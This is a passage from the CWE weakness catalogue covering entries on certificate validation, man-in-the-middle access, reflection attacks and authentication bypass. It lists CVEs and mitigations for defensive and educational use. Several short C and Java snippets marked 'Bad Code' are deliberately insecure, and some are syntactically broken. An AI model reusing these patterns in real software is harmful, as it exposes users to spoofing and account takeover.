Messages sent with a capture-relay attack allow access to resources which are not otherwise accessible without proper authentication.

Likelihood of Exploit

High

Observed Examples

Reference	Description
CVE-2005-3435	product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks.
CVE-2007-4961	Chain: cleartext transmission of the MD5 hash of password (CWE-319) enables attacks against a server that is susceptible to replay (CWE-294).

Potential Mitigations

Architecture and Design

Utilize some sequence or time stamping functionality along with a checksum which takes this into account in order to ensure that messages can be parsed only once.

Architecture and Design

Since any attacker who can listen to traffic can see sequence numbers, it is necessary to sign messages with some kind of cryptography to ensure that sequence numbers are not simply doctored along with content.

Relationships

94	Man in the Middle Attack	
102	Session Sidejacking	

CWE-295: Improper Certificate Validation

Weakness ID: 295 (Weakness Base)

Status: Incomplete

Description

Summary

The software does not validate, or incorrectly validates, a certificate.

Extended Description

When a certificate is invalid or malicious, it might allow an attacker to spoof a trusted entity by using a man-in-the-middle (MITM) attack. The software might connect to a malicious host while believing it is a trusted host, or the software might be deceived into accepting spoofed data that appears to originate from a trusted host.

Detection Methods

Automated Static Analysis - Binary / Bytecode

SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Binary Weakness Analysis - including disassembler + source code weakness analysis

Manual Static Analysis - Binary / Bytecode

SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Dynamic Analysis with automated results interpretation

SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner

Dynamic Analysis with manual results interpretation

SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Man-in-the-middle attack tool

Manual Static Analysis - Source Code

SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Focused Manual Spotcheck - Focused manual analysis of source

Manual Source Code Review (not inspections)

Automated Static Analysis - Source Code

SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

Architecture / Design Review

SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Observed Examples

Reference	Description
CVE-2002-0862	Cryptographic API, as used in web browsers, mail clients, and other software, does not properly validate Basic Constraints.
CVE-2003-1229	chain: product checks if client is trusted when it intended to check if the server is trusted, allowing validation of signed code.
CVE-2005-3170	LDAP client accepts certificates even if they are not from a trusted CA.
CVE-2008-4989	Verification function trusts certificate chains in which the last certificate is self-signed.
CVE-2009-0265	chain: DNS server does not correctly check return value from the OpenSSL EVP_VerifyFinal function allows bypass of validation of the certificate chain.
CVE-2009-1358	chain: OS package manager does not check properly check the return value, allowing bypass using a revoked certificate.
CVE-2009-2408	Web browser does not correctly handle '\0' character (NUL) in Common Name, allowing spoofing of https sites.
CVE-2009-3046	Web browser does not check if any intermediate certificates are revoked.
CVE-2010-1378	chain: incorrect calculation allows attackers to bypass certificate checks.
CVE-2011-0199	Operating system does not check Certificate Revocation List (CRL) in some cases, allowing spoofing using a revoked certificate.
CVE-2012-2993	Smartphone device does not verify hostname, allowing spoofing of mail services.
CVE-2012-3446	Cloud-support library written in Python uses incorrect regular expression when matching hostname.
CVE-2012-5810	Mobile banking application does not verify hostname, leading to financial loss.
CVE-2012-5817	Java library uses JSSE SSLSocket and SSLEngine classes, which do not verify the hostname.
CVE-2012-5819	Cloud storage management application does not validate hostname.
CVE-2012-5821	Web browser uses a TLS-related function incorrectly, preventing it from verifying that a server's certificate is signed by a trusted certification authority (CA)
CVE-2012-5822	Application uses third-party library that does not validate hostname.
CVE-2014-1266	chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing man-in-the-middle attack (Apple "goto fail" bug). CWE-705 (Incorrect Control Flow Scoping) -> CWE-561 (Dead Code) -> CWE-295 (Improper Certificate Validation) -> CWE-393 (Return of Wrong Status Code) -> CWE-300 (Channel Accessible by Non-Endpoint ('Man-in-the-Middle')).

Potential Mitigations

Architecture and Design

Implementation

Certificates should be carefully managed and checked to assure that data are encrypted with the intended owner's public key.

Background Details

A certificate is a token that associates an identity (principle) to a cryptographic key. Certificates can be used to check if a public key belongs to the assumed owner.

Relationships

CWE-296: Improper Following of a Certificate's Chain of Trust

Weakness ID: 296 (Weakness Base)

Status: Draft

Description

Summary

The software does not follow, or incorrectly follows, the chain of trust for a certificate back to a trusted root certificate, resulting in incorrect trust of any resource that is associated with that certificate.

Extended Description

If a system does not follow the chain of trust of a certificate to a root server, the certificate loses all usefulness as a metric of trust. Essentially, the trust gained from a certificate is derived from a chain of trust -- with a reputable trusted entity at the end of that list. The end user must trust that reputable source, and this reputable source must vouch for the resource in question through the medium of the certificate.

In some cases, this trust traverses several entities who vouch for one another. The entity trusted by the end user is at one end of this trust chain, while the certificate-wielding resource is at the other end of the chain. If the user receives a certificate at the end of one of these trust chains and then proceeds to check only that the first link in the chain, no real trust has been derived, since the entire chain must be traversed back to a trusted source to verify the certificate.

There are several ways in which the chain of trust might be broken, including but not limited to:
Any certificate in the chain is self-signed, unless it the root.

Not every intermediate certificate is checked, starting from the original certificate all the way up to the root certificate.

An intermediate, CA-signed certificate does not have the expected Basic Constraints or other important extensions.
The root certificate has been compromised or authorized to the wrong party.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Non-Repudiation

Hide activities

Exploitation of this flaw can lead to the trust of data that may have originated with a spoofed source.

Integrity

Confidentiality

Availability

Access Control

Gain privileges / assume identity

Execute unauthorized code or commands

Data, requests, or actions taken by the attacking entity can be carried out as a spoofed benign entity.

Likelihood of Exploit

Low

Demonstrative Examples

This code checks the certificate of a connected peer.

C Example:

Bad Code

```
if ((cert = SSL_get_peer_certificate(ssl)) && host)
    foo=SSL_get_verify_result(ssl);
if ((X509_V_OK==foo) || X509_V_ERR_SELF_SIGNED_CERT_IN_CHAIN==foo))
    // certificate looks good, host can be trusted
```

In this case, because the certificate is self-signed, there was no external authority that could prove the identity of the host. The program could be communicating with a different system that is spoofing the host, e.g. by poisoning the DNS cache or conducting a man-in-the-middle attack.

Observed Examples

Reference	Description
CVE-2002-0862	Cryptographic API, as used in web browsers, mail clients, and other software, does not properly validate Basic Constraints.
CVE-2002-0970	File-transfer software does not validate Basic Constraints of an intermediate CA-signed certificate.
CVE-2008-4989	Verification function trusts certificate chains in which the last certificate is self-signed.
CVE-2009-0124	chain: incorrect check of return value from the OpenSSL EVP_VerifyFinal function allows bypass of validation of the certificate chain.
CVE-2009-0265	chain: DNS server does not correctly check return value from the OpenSSL EVP_VerifyFinal function allows bypass of validation of the certificate chain.
CVE-2009-3046	Web browser does not check if any intermediate certificates are revoked.
CVE-2012-5821	Chain: Web browser uses a TLS-related function incorrectly, preventing it from verifying that a server's certificate is signed by a trusted certification authority (CA).

Potential Mitigations

Architecture and Design

Ensure that proper certificate checking is included in the system design.

Implementation

Understand, and properly implement all checks necessary to ensure the integrity of certificate trust integrity.

CWE-297: Improper Validation of Certificate with Host Mismatch

Weakness ID: 297 (Weakness Variant)

Status: Incomplete

Description**Summary**

The software communicates with a host that provides a certificate, but the software does not properly ensure that the certificate is actually associated with that host.

Extended Description

Even if a certificate is well-formed, signed, and follows the chain of trust, it may simply be a valid certificate for a different site than the site that the software is interacting with. If the certificate's host-specific data is not properly checked - such as the Common Name (CN) in the Subject or the Subject Alternative Name (SAN) extension of an X.509 certificate - it may be possible for a redirection or spoofing attack to allow a malicious host with a valid certificate to provide data, impersonating a trusted host. In order to ensure data integrity, the certificate must be valid and it must pertain to the site that is being accessed.

Even if the software attempts to check the hostname, it is still possible to incorrectly check the hostname. For example, attackers could create a certificate with a name that begins with a trusted name followed by a NUL byte, which could cause some string-based comparisons to only examine the portion that contains the trusted name.

Time of Introduction

- Architecture and Design

Applicable Platforms**Languages**

- Language-Independent

Architectural Paradigms

- Mobile Application

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Access Control

Gain privileges / assume identity

The data read from the system vouched for by the certificate may not be from the expected system.

Authentication

Other

Other

Trust afforded to the system in question -- based on the expired certificate -- may allow for spoofing or redirection attacks.

Likelihood of Exploit

High

Demonstrative Examples

The following OpenSSL code obtains a certificate and verifies it.

C Example:

Bad Code

```

cert = SSL_get_peer_certificate(ssl);
if (cert && (SSL_get_verify_result(ssl)!=X509_V_OK)) {
    // do secret things
}

```

Even though the "verify" step returns X509_V_OK, this step does not include checking the Common Name against the name of the host. That is, there is no guarantee that the certificate is for the desired host. The SSL connection could have been established with a malicious host that provided a valid certificate.

Observed Examples

Reference	Description
CVE-2003-0355	Web browser does not validate Common Name, allowing spoofing of https sites.
CVE-2009-2408	Web browser does not correctly handle '\0' character (NUL) in Common Name, allowing spoofing of https sites.
CVE-2009-3767	LDAP server's incorrect handling of '\0' character (NUL) in hostname verification allows spoofing.
CVE-2009-4565	Mail server's incorrect handling of '\0' character (NUL) in hostname verification allows spoofing.
CVE-2010-2074	Incorrect handling of '\0' character (NUL) in hostname verification allows spoofing.
CVE-2012-0867	Database program truncates the Common Name during hostname verification, allowing spoofing.
CVE-2012-2993	Smartphone device does not verify hostname, allowing spoofing of mail services.
CVE-2012-3446	Cloud-support library written in Python uses incorrect regular expression when matching hostname.
CVE-2012-5780	Merchant SDK for payments does not verify the hostname.
CVE-2012-5782	PHP library for payments does not verify the hostname.
CVE-2012-5784	SOAP platform does not verify the hostname.
CVE-2012-5804	E-commerce module does not verify hostname when connecting to payment site.
CVE-2012-5806	Payment processing module does not verify hostname when connecting to PayPal using PHP fsockopen function.
CVE-2012-5807	Software for electronic checking does not verify hostname, leading to financial loss.
CVE-2012-5810	Mobile banking application does not verify hostname, leading to financial loss.
CVE-2012-5811	Mobile application for printing documents does not verify hostname, allowing attackers to read sensitive documents.
CVE-2012-5817	Java library uses JSSE SSLSocket and SSLEngine classes, which do not verify the hostname.
CVE-2012-5819	Cloud storage management application does not validate hostname.
CVE-2012-5822	Application uses third-party library that does not validate hostname.
CVE-2012-5824	Chat application does not validate hostname, leading to loss of privacy.

Potential Mitigations

Architecture and Design

Check for expired certificates and provide the user with adequate information about the nature of the problem and how to proceed.

CWE-298: Improper Validation of Certificate Expiration

Weakness ID: 298 (Weakness Variant)

Status: Draft

Description

Summary

A certificate expiration is not validated or is incorrectly validated, so trust may be assigned to certificates that have been abandoned due to age.

Extended Description

When the expiration of a certificate is not taken into account, no trust has necessarily been conveyed through it. Therefore, the validity of the certificate cannot be verified and all benefit of the certificate is lost.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Integrity

Other

Other

The data read from the system vouched for by the expired certificate may be flawed due to malicious spoofing.

Authentication**Other****Other**

Trust afforded to the system in question -- based on the expired certificate -- may allow for spoofing attacks.

Likelihood of Exploit

Low

Demonstrative Examples

The following OpenSSL code ensures that there is a certificate and allows the use of expired certificates.

C Example:

Bad Code

```
if (cert = SSL_get_peer(certificate(ssl)) {
    foo=SSL_get_verify_result(ssl);
    if ((X509_V_OK==foo) || (X509_V_ERR_CERT_HAS_EXPIRED==foo))
        //do stuff
```

If the call to `SSL_get_verify_result()` returns `X509_V_ERR_CERT_HAS_EXPIRED`, this means that the certificate has expired. As time goes on, there is an increasing chance for attackers to compromise the certificate.

Potential Mitigations**Architecture and Design**

Check for expired certificates and provide the user with adequate information about the nature of the problem and how to proceed.

Relationships

CWE-299: Improper Check for Certificate Revocation

Weakness ID: 299 (*Weakness Base*)

Status: Draft

Description**Summary**

The software does not check or incorrectly checks the revocation status of a certificate, which may cause it to use a certificate that has been compromised.

Extended Description

An improper check for certificate revocation is a far more serious flaw than related certificate failures. This is because the use of any revoked certificate is almost certainly malicious. The most common reason for certificate revocation is compromise of the system in question, with the result that no legitimate servers will be using a revoked certificate, unless they are sorely out of sync.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Access Control

Gain privileges / assume identity

Trust may be assigned to an entity who is not who it claims to be.

Integrity

Other

Other

Data from an untrusted (and possibly malicious) source may be integrated.

Confidentiality

Read application data

Data may be disclosed to an entity impersonating a trusted entity, resulting in information disclosure.

Likelihood of Exploit

Medium

Demonstrative Examples

The following OpenSSL code ensures that there is a certificate before continuing execution.

C Example:

Bad Code

```
if (cert = SSL_get_peer_certificate(ssl)) {
    // got a certificate, do secret things
}
```

Because this code does not use `SSL_get_verify_results()` to check the certificate, it could accept certificates that have been revoked (`X509_V_ERR_CERT_REVOKED`). The software could be communicating with a malicious host.

Observed Examples

Reference	Description
CVE-2006-4409	Product cannot access certificate revocation list when an HTTP proxy is being used.
CVE-2006-4410	Certificate revocation list not searched for certain certificates.
CVE-2008-4679	chain: web service component does not call the expected method, which prevents a check for revoked certificates.
CVE-2009-0161	chain: Ruby module for OCSP misinterprets a response, preventing detection of a revoked certificate.
CVE-2009-0642	chain: language interpreter does not properly check the return value from an OSCP function, allowing bypass using a revoked certificate.
CVE-2009-1358	chain: OS package manager does not properly check the return value, allowing bypass using a revoked certificate.
CVE-2009-3046	Web browser does not check if any intermediate certificates are revoked.
CVE-2010-5185	Antivirus product does not check whether certificates from signed executables have been revoked.
CVE-2011-0199	Operating system does not check Certificate Revocation List (CRL) in some cases, allowing spoofing using a revoked certificate.
CVE-2011-0935	Router can permanently cache certain public keys, which would allow bypass if the certificate is later revoked.
CVE-2011-2014	LDAP-over-SSL implementation does not check Certificate Revocation List (CRL), allowing spoofing using a revoked certificate.
CVE-2011-2701	chain: incorrect parsing of replies from OCSP responders allows bypass using a revoked certificate.

Potential Mitigations

Architecture and Design

Ensure that certificates are checked for revoked status.

Relationships

CWE-300: Channel Accessible by Non-Endpoint ('Man-in-the-Middle')

Weakness ID: 300 (*Weakness Class*)

Status: Draft

Description**Summary**

The product does not adequately verify the identity of actors at both ends of a communication channel, or does not adequately ensure the integrity of the channel, in a way that allows the channel to be accessed or influenced by an actor that is not an endpoint.

Extended Description

In order to establish secure communication between two parties, it is often important to adequately verify the identity of entities at each end of the communication channel. Inadequate or inconsistent verification may result in insufficient or incorrect identification of either communicating entity. This can have negative consequences such as misplaced trust in the entity at the other end of the channel. An attacker can leverage this by interposing between the communicating entities and masquerading as the original entity. In the absence of sufficient verification of identity, such an attacker can eavesdrop and potentially modify the communication between the original entities.

Time of Introduction

- Architecture and Design

Applicable Platforms**Languages**

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences**Confidentiality****Integrity****Access Control****Read application data****Modify application data****Gain privileges / assume identity**

An attacker could pose as one of the entities and read or possibly modify the communication.

Demonstrative Examples

In the Java snippet below, data is sent over an unencrypted channel to a remote server.

Java Example:

Bad Code

```

Socket sock;
PrintWriter out;
try {
    sock = new Socket(REMOTE_HOST, REMOTE_PORT);
    out = new PrintWriter(echoSocket.getOutputStream(), true);
    // Write data to remote host via socket output stream.
    ...
}

```

By eavesdropping on the communication channel or posing as the endpoint, an attacker would be able to read all of the transmitted data.

Observed Examples

Reference	Description
CVE-2014-1266	chain: incorrect "goto" in Apple SSL product bypasses certificate validation, allowing man-in-the-middle attack (Apple "goto fail" bug). CWE-705 (Incorrect Control Flow Scoping) -> CWE-561 (Dead Code) -> CWE-295 (Improper Certificate Validation) -> CWE-393 (Return of Wrong Status Code) -> CWE-300 (Channel Accessible by Non-Endpoint ('Man-in-the-Middle')).

Potential Mitigations**Implementation**

Always fully authenticate both ends of any communications channel.

Architecture and Design

Adhere to the principle of complete mediation.

Implementation

A certificate binds an identity to a cryptographic key to authenticate a communicating party. Often, the certificate takes the encrypted form of the hash of the identity of the subject, the public key, and information such as time of issue or expiration using the issuer's private key. The certificate can be validated by deciphering the certificate with the issuer's public key. See also X.509 certificate signature chains and the PGP certification structure.

Maintenance Notes

The summary identifies multiple distinct possibilities, suggesting that this is a category that must be broken into more specific weaknesses.

CWE-301: Reflection Attack in an Authentication Protocol

Weakness ID: 301 (*Weakness Variant*)

Status: Draft

Description

Summary

Simple authentication protocols are subject to reflection attacks if a malicious user can use the target machine to impersonate a trusted user.

Extended Description

A mutual authentication protocol requires each party to respond to a random challenge by the other party by encrypting it with a pre-shared key. Often, however, such protocols employ the same pre-shared key for communication with a number of different entities. A malicious user or an attacker can easily compromise this protocol without possessing the correct key by employing a reflection attack on the protocol.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.

Common Consequences

Access Control

Gain privileges / assume identity

The primary result of reflection attacks is successful authentication with a target machine -- as an impersonated user.

Likelihood of Exploit

Medium

Demonstrative Examples

The following example demonstrates the weakness.

C Example:

Bad Code

```
unsigned char *simple_digest(char *alg,char *buf,unsigned int len, int *olen) {
    const EVP_MD *m;
    EVP_MD_CTX ctx;
    unsigned char *ret;
    OpenSSL_add_all_digests();
    if (!(m = EVP_get_digestbyname(alg))) return NULL;
    if (!(ret = (unsigned char*)malloc(EVP_MAX_MD_SIZE))) return NULL;
    EVP_DigestInit(&ctx, m);
    EVP_DigestUpdate(&ctx,buf,len);
    EVP_DigestFinal(&ctx,ret,olen);
    return ret;
}
unsigned char *generate_password_and_cmd(char *password_and_cmd) {
    simple_digest("sha1",password,strlen(password_and_cmd)
    ...
    );
}
```

Java Example:

Bad Code

```
String command = new String("some cmd to execute & the password")
MessageDigest encer =
MessageDigest.getInstance("SHA");
encer.update(command.getBytes("UTF-8"));
byte[] digest = encer.digest();
```

Observed Examples

Reference	Description
CVE-2005-3435	product authentication succeeds if user-provided MD5 hash matches the hash in its database; this can be subjected to replay attacks.

Potential Mitigations

Architecture and Design

Use different keys for the initiator and responder or of a different type of challenge for the initiator and responder.

Architecture and Design

Let the initiator prove its identity before proceeding.

Other Notes

Reflection attacks capitalize on mutual authentication schemes in order to trick the target into revealing the secret shared between it and another valid user. In a basic mutual-authentication scheme, a secret is known to both the valid user and the server; this allows them to authenticate. In order that they may verify this shared secret without sending it plainly over the wire, they utilize a Diffie-Hellman-style scheme in which they each pick a value, then request the hash of that value as keyed by the shared secret. In a reflection attack, the attacker claims to be a valid user and requests the hash of a random value from the server. When the server returns this value and requests its own value to be hashed, the attacker opens another connection to the server. This time, the hash requested by the attacker is the value which the server requested in the first connection. When the server returns this hashed value, it is used in the first connection, authenticating the attacker successfully as the impersonated valid user.

Maintenance Notes

The term "reflection" is used in multiple ways within CWE and the community, so its usage should be reviewed.

CWE-302: Authentication Bypass by Assumed-Immutable Data

Weakness ID: 302 (Weakness Variant)

Status: Incomplete

Description

Summary

The authentication scheme or implementation uses key data elements that are assumed to be immutable, but can be controlled or modified by the attacker.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.

Common Consequences

Access Control

Bypass protection mechanism

Demonstrative Examples

In the following example, an "authenticated" cookie is used to determine whether or not a user should be granted access to a system.

Java Example:

Bad Code

```
boolean authenticated = new Boolean(getCookieValue("authenticated")).booleanValue();
if (authenticated) {
    ...
}
```

Of course, modifying the value of a cookie on the client-side is trivial, but many developers assume that cookies are essentially immutable.

Observed Examples

Reference	Description
CVE-2002-0367	DebPloit
CVE-2002-1730	Authentication bypass by setting certain cookies to "true".
CVE-2002-1734	Authentication bypass by setting certain cookies to "true".
CVE-2002-2054	Gain privileges by setting cookie.
CVE-2002-2064	Admin access by setting a cookie.
CVE-2004-0261	Web auth
CVE-2004-1611	Product trusts authentication information in cookie.
CVE-2005-1708	Authentication bypass by setting admin-testing variable to true.
CVE-2005-1787	Bypass auth and gain privileges by setting a variable.

Potential Mitigations

Architecture and Design

Operation

Implementation

Implement proper protection for immutable data (e.g. environment variable, hidden form fields, etc.)

CWE-303: Incorrect Implementation of Authentication Algorithm

Weakness ID: 303 (Weakness Base)

Status: Draft

Description

Summary

The requirements for the software dictate the use of an established authentication algorithm, but the implementation of the algorithm is incorrect.

Extended Description

This incorrect implementation may allow authentication to be bypassed.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Access Control

Bypass protection mechanism

Observed Examples

Reference	Description
CVE-2003-0750	Conditional should have been an 'or' not an 'and'.

CWE-304: Missing Critical Step in Authentication

Weakness ID: 304 (Weakness Base)

Status: Draft

Description

Summary

The software implements an authentication technique, but it skips a step that weakens the technique.

Extended Description

Authentication techniques should follow the algorithms that define them exactly, otherwise authentication can be bypassed or more easily subjected to brute force attacks.

Time of Introduction

PLOVER	Missing Critical Step in Authentication

CWE-305: Authentication Bypass by Primary Weakness

Weakness ID: 305 (Weakness Base)

Status: Draft

Description

Summary

The authentication algorithm is sound, but the implemented mechanism can be bypassed as the result of a separate weakness that is primary to the authentication error.

Time of Introduction

- Architecture and Design
- Implementation

Applicable Platforms**Languages**

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences**Access Control****Bypass protection mechanism****Observed Examples**

Reference	Description
CVE-2000-0979	The password is not properly checked, which allows remote attackers to bypass access controls by sending a 1-byte password that matches the first character of the real password.
CVE-2001-0088	Chain: Forum software does not properly initialize an array, which inadvertently sets the password to a single character, allowing remote attackers to easily guess the password and gain administrative privileges.
CVE-2002-1374	The provided password is only compared against the first character of the real password.

Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		287	Improper Authentication	699	495
ChildOf		947	SFP Secondary Cluster: Authentication Bypass	888	1360
ChildOf		1010	Authenticate Actors	1008	1406

Relationship Notes

Most "authentication bypass" errors are resultant, not primary.

Taxonomy Mappings

Mapped Taxonomy Name	Mapped Node Name
PLOVER	Authentication Bypass by Primary Weakness

CWE-306: Missing Authentication for Critical Function

Weakness ID: 306 (*Weakness Variant*)

Status: Draft

Description**Summary**

The software does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

Time of Introduction

- Architecture and Design

Applicable Platforms**Languages**

- Language-Independent

Modes of Introduction

OMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.

Common Consequences

Access Control**Other****Gain privileges / assume identity****Other**

Exposing critical functionality essentially provides an attacker with the privilege level of that functionality. The consequences will depend on the associated functionality, but they can range from reading or modifying sensitive data, access to administrative or other privileged functionality, or possibly even execution of arbitrary code.

Likelihood of Exploit

High

Detection Methods**Manual Analysis**

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Specifically, manual static analysis is useful for evaluating the correctness of custom authentication mechanisms.

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Automated Static Analysis**Limited**

Automated static analysis is useful for detecting commonly-used idioms for authentication. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authentication libraries.

Generally, automated static analysis tools have difficulty detecting custom authentication schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an established identity; an automated technique that detects the absence of authentication may report false positives.

Manual Static Analysis - Binary / Bytecode**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Dynamic Analysis with automated results interpretation**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner

Web Services Scanner

Database Scanners

Dynamic Analysis with manual results interpretation**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Host Application Interface Scanner

Fuzz Tester

Framework-based Fuzzer

Manual Static Analysis - Source Code

SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

- Focused Manual Spotcheck - Focused manual analysis of source
- Manual Source Code Review (not inspections)

Automated Static Analysis - Source Code

SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

- Source code Weakness Analyzer
- Context-configured Source Code Weakness Analyzer

Architecture / Design Review

SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

- Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
- Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

- Attack Modeling

Demonstrative Examples

In the following Java example the method `createBankAccount` is used to create a `BankAccount` object for a bank management application.

Java Example:

Bad Code

```
public BankAccount createBankAccount(String accountNumber, String accountType,
String accountName, String accountSSN, double balance) {
    BankAccount account = new BankAccount();
    account.setAccountNumber(accountNumber);
    account.setAccountType(accountType);
    account.setAccountOwnerName(accountName);
    account.setAccountOwnerSSN(accountSSN);
    account.setBalance(balance);
    return account;
}
```

However, there is no authentication mechanism to ensure that the user creating this bank account object has the authority to create new bank accounts. Some authentication mechanisms should be used to verify that the user has the authority to create bank account objects.

The following Java code includes a boolean variable and method for authenticating a user. If the user has not been authenticated then the `createBankAccount` will not create the bank account object.

Java Example:

Good Code

```
private boolean isUserAuthentic = false;
// authenticate user,
// if user is authenticated then set variable to true
// otherwise set variable to false
public boolean authenticateUser(String username, String password) {
    ...
}
public BankAccount createNewBankAccount(String accountNumber, String accountType,
String accountName, String accountSSN, double balance) {
    BankAccount account = null;
    if (isUserAuthentic) {
        account = new BankAccount();
        account.setAccountNumber(accountNumber);
        account.setAccountType(accountType);
        account.setAccountOwnerName(accountName);
        account.setAccountOwnerSSN(accountSSN);
    }
}
```

```

account.setBalance(balance);
}
return account;
}

```

Observed Examples

Reference	Description
CVE-2002-1810	MFV. Access TFTP server without authentication and obtain configuration file with sensitive plaintext information.
CVE-2004-0213	Product enforces restrictions through a GUI but not through privileged APIs.
CVE-2008-6827	Agent software running at privileges does not authenticate incoming requests over an unprotected channel, allowing a Shatter" attack.

Potential Mitigations

Architecture and Design

Divide the software into anonymous, normal, privileged, and administrative areas. Identify which of these areas require a proven user identity, and use a centralized authentication capability. Identify all potential communication channels, or other means of interaction with the software, to ensure that all channels are appropriately protected. Developers sometimes perform authentication at the primary channel, but open up a secondary channel that is assumed to be private. For example, a login mechanism may be listening on one network port, but after successful authentication, it may open up a second port where it waits for the connection, but avoids authentication because it assumes that only the authenticated party will connect to the port.

In general, if the software or protocol allows a single session or user state to persist across multiple connections or channels, authentication and appropriate credential management need to be used throughout.

Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Architecture and Design

Where possible, avoid implementing custom authentication routines and consider using authentication capabilities as provided by the surrounding framework, operating system, or environment. These may make it easier to provide a clear separation between authentication tasks and authorization tasks.

In environments such as the World Wide Web, the line between authentication and authorization is sometimes blurred. If custom authentication routines are required instead of those provided by the server, then these routines must be applied to every single page, since these pages could be requested directly.

Architecture and Design

Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using libraries with authentication capabilities such as OpenSSL or the ESAPI Authenticator [R.306.3].

CWE-307: Improper Restriction of Excessive Authentication Attempts

Weakness ID: 307 (Weakness Base)

Status: Draft

Description

Summary

The software does not implement sufficient measures to prevent multiple failed authentication attempts within in a short time frame, making it more susceptible to brute force attacks.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

COMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.

Common Consequences

Access Control

Bypass protection mechanism

An attacker could perform an arbitrary number of authentication attempts using different passwords, and eventually gain access to the targeted account.

Detection Methods

Dynamic Analysis with automated results interpretation**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

- Web Application Scanner
- Web Services Scanner
- Database Scanners

Cost effective for partial coverage:

- Host-based Vulnerability Scanners – Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria

Dynamic Analysis with manual results interpretation**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

- Fuzz Tester
- Framework-based Fuzzer

Cost effective for partial coverage:

- Forced Path Execution

Manual Static Analysis - Source Code**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

- Focused Manual Spotcheck - Focused manual analysis of source
- Manual Source Code Review (not inspections)

Automated Static Analysis - Source Code**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

- Source code Weakness Analyzer
- Context-configured Source Code Weakness Analyzer

Automated Static Analysis**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

- Configuration Checker

Architecture / Design Review**SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

- Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

- Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples**Example 1:**

In January 2009, an attacker was able to gain administrator access to a Twitter server because the server did not restrict the number of login attempts. The attacker targeted a member of Twitter's support team and was able to successfully guess the member's password using a brute force attack by guessing a large number of common words. Once the attacker gained access as the member of the support staff, he used the administrator panel to gain access to 33 accounts that belonged to celebrities and politicians. Ultimately, fake Twitter messages were sent that appeared to come from the compromised accounts.

References

Kim Zetter. "Weak Password Brings 'Happiness' to Twitter Hacker". 2009-01-09. < <http://www.wired.com/threatlevel/2009/01/professed-twitt/> >.

Example 2:

The following code, extracted from a servlet's doPost() method, performs an authentication lookup every time the servlet is invoked.

Java Example:

Bad Code

```
String username = request.getParameter("username");
String password = request.getParameter("password");
